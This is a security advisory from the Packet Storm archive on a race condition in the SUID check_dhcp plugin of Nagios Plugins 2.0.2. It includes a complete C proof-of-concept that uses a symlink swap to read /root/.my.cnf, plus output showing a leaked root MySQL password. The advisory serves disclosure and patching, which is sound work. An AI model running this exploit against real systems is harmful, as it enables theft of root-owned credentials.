exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios check_dhcp 2.0.2 Race Condition

Nagios check_dhcp 2.0.2 Race Condition
Posted Jun 29, 2014
Authored by Dawid Golunski

Nagios Plugins versions 2.0.2 suffer from a race condition in check_dhcp.

tags | exploit
SHA-256 | 34515f9830172588d1778328a6fadb3d5847b8aa2cf072dc6aece33dec8c2b8e

Nagios check_dhcp 2.0.2 Race Condition

Change Mirror Download
=============================================
- Release date: 28.06.2014
- Discovered by: Dawid Golunski
- Severity: Moderate
=============================================


I. VULNERABILITY
-------------------------

check_dhcp - Nagios Plugins = 2.0.2 Race Condition


II. BACKGROUND
-------------------------

"Nagios is an open source computer system monitoring, network monitoring and
infrastructure monitoring software application. Nagios offers monitoring and
alerting services for servers, switches, applications, and services.
It alerts the users when things go wrong and alerts them a second time when
the problem has been resolved.

Nagios Plugins (Official)

The Nagios Plugins Development Team maintains a bundle of more than fifty
standard plugins for Nagios and other monitoring applications that use the
straightforward plugin interface originally invented by the Nagios folks.
Each plugin is a stand-alone command line tool that provides a specific type
of check. Typically, your monitoring software runs these plugins to determine
the current status of hosts and services on your network.

Some of the provided plugins let you check local system metrics (such as load
averages, processes, or disk space usage), others use various network protocols
(such as ICMP, SNMP, or HTTP) to perform remote checks.
This allows for checking a large number of common host and service types.


* check_dhcp plugin

This plugin tests the availability of DHCP servers on a network."

III. INTRODUCTION
-------------------------

check_dhcp plugin (part of the official Nagios Plugins package) contained
a vulnerability that allowed a malicious attacker to read parts of INI
config files belonging to root on a local system. It allowed an attacker
to obtain sensitive information like passwords that should only be accessible
by root user.

This vulnerability was discussed in my previous advisory available at:

http://legalhackers.com/advisories/nagios-check_dhcp.txt
http://www.exploit-db.com/exploits/33387/

The vulnerability was quickly patched by vendor in the release of nagios plugins
version 2.0.2 however the security measures in the patch are not sufficient and
the code is vulnerable to Race Condition attack.
Race Condition makes it possible for an arbitrary user to read parts of a
root-owned file despite the checks.

IV. DESCRIPTION
-------------------------


Nagios Plugins 2.0.2 introduces the following checks before the SUID
root check_dhcp
program accesses a file provided by a user:

-----[ lib/parse_ini.c ]-----

/* We must be able to stat() the thing. */
if (lstat(i.file, &fstat) != 0)
die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."),
strerror(errno));
/* The requested file must be a regular file. */
if (!S_ISREG(fstat.st_mode))
die(STATE_UNKNOWN, "%s\n", _("Can't read config file. Requested
path is not a regular file."));
/* We must be able to read the requested file. */
if (access(i.file, R_OK|F_OK) != 0)
die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."),
strerror(errno));

/* We need to successfully open the file for reading... */
if ((inifile=fopen(i.file, "r")) == NULL)
die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."),
strerror(errno));

------------------------------

A configfile will only be opened if it is a regular file (not a
symlink) and only if it
is readable by the real user running the program (checked with access() call).

These checks prevent a user from accessing a file that is not owned by them e.g:

$ /usr/local/nagios/libexec/check_dhcp -v --extra-opts=mysql@/root/.my.cnf
Can't read config file. Permission denied

However there's a possibility of a Race Condition here. If an attacker manages
to create a symlink leading to /root/.my.cnf in the very short time window that
occurs between the regular file/permission checks and the fopen() call then the
attacker could still be successful in obtaining the contents of the file.


V. PROOF OF CONCEPT
-------------------------

Below is an example exploit that demonstrates this attack.

-------[ checkdhcp_race_exploit.c ]-------

/* check_dhcp 2.0.2 Arbitrary Option File Read - Race Condition Exploit */
/* Created by Dawid Golunski (dawid@legalhackers.com) */
/* http://legalhackers.com */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET "/usr/local/nagios/libexec/check_dhcp"
#define PROGARGS "--extra-opts=mysql@/tmp/access"
#define ROOT_CONFIG "/root/.my.cnf"
#define SYMLINK_FILE "/tmp/access"

#define MAX_DELAY 1500 // adjust if necessary

int main(int argc,char **argv)
{
char *arg[] = {TARGET, PROGARGS, 0};
int randomnum = 0;

/* Create empty file , remove if already exists */
unlink(SYMLINK_FILE);
open(SYMLINK_FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);

if(fork() == (pid_t)0){
/* Child Proc */
execvp(TARGET, arg);
}
else{
/* Parent Proc */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );

usleep(randomnum);
unlink(SYMLINK_FILE); /* Unlink the file */
symlink(ROOT_CONFIG, SYMLINK_FILE); /* Create symlink */

wait(NULL);
}

return 0;
}

-------------------------


Here is an example root mysql config file:

# cat /root/.my.cnf
[mysqldump]
quick

[mysql]
# saved password for the mysql root user
password=myRootSecretMysqlPass123


Here is the output of the running exploit:

$ while :; do ./checkdhcp_race_exploit; done

Invalid section 'mysql' in config file '/tmp/access'
Can't read config file. Requested path is not a regular file.
Can't read config file. Requested path is not a regular file.
Can't read config file. No such file or directory
Can't read config file. Requested path is not a regular file.
Can't read config file. No such file or directory
Can't read config file. No such file or directory
Can't read config file. Requested path is not a regular file.
Can't read config file. Requested path is not a regular file.
Can't read config file. No such file or directory
/usr/local/nagios/libexec/check_dhcp: unrecognized option
'--password=myRootSecretMysqlPass123'
Usage:
check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout]
[-i interface] [-m mac]
Invalid section 'mysql' in config file '/tmp/access'
Invalid section 'mysql' in config file '/tmp/access'
Invalid section 'mysql' in config file '/tmp/access'

As we can see it succeeds after some failed runs.

VI. BUSINESS IMPACT
-------------------------

Malicious user that has local access to a system where check_dhcp plugin is
installed with SUID could exploit this vulnerability to read any INI format
config files owned by root and potentially extract some sensitive information.

VII. SYSTEMS AFFECTED
-------------------------

Systems with check_dhcp SUID binary installed as a part of Nagios
Plugins 2.0.2 are vulnerable.

VIII. SOLUTION
-------------------------

Vendor has been informed about the vulnerability prior to the release
of this advisory and
released another version of nagios plugins available at:
http://nagios-plugins.org/nagios-plugins-2-0-3-released/

IX. REFERENCES
-------------------------

http://nagios-plugins.org/nagios-plugins-2-0-2-released/
http://nagios-plugins.org/nagios-plugins-2-0-3-released/

http://legalhackers.com/advisories/nagios-check_dhcp.txt

http://legalhackers.com/advisories/nagios-check_dhcp-race.txt

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY
-------------------------

May 26th, 2014: Advisory created
June 28th, 2014: Advisory updated and released

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close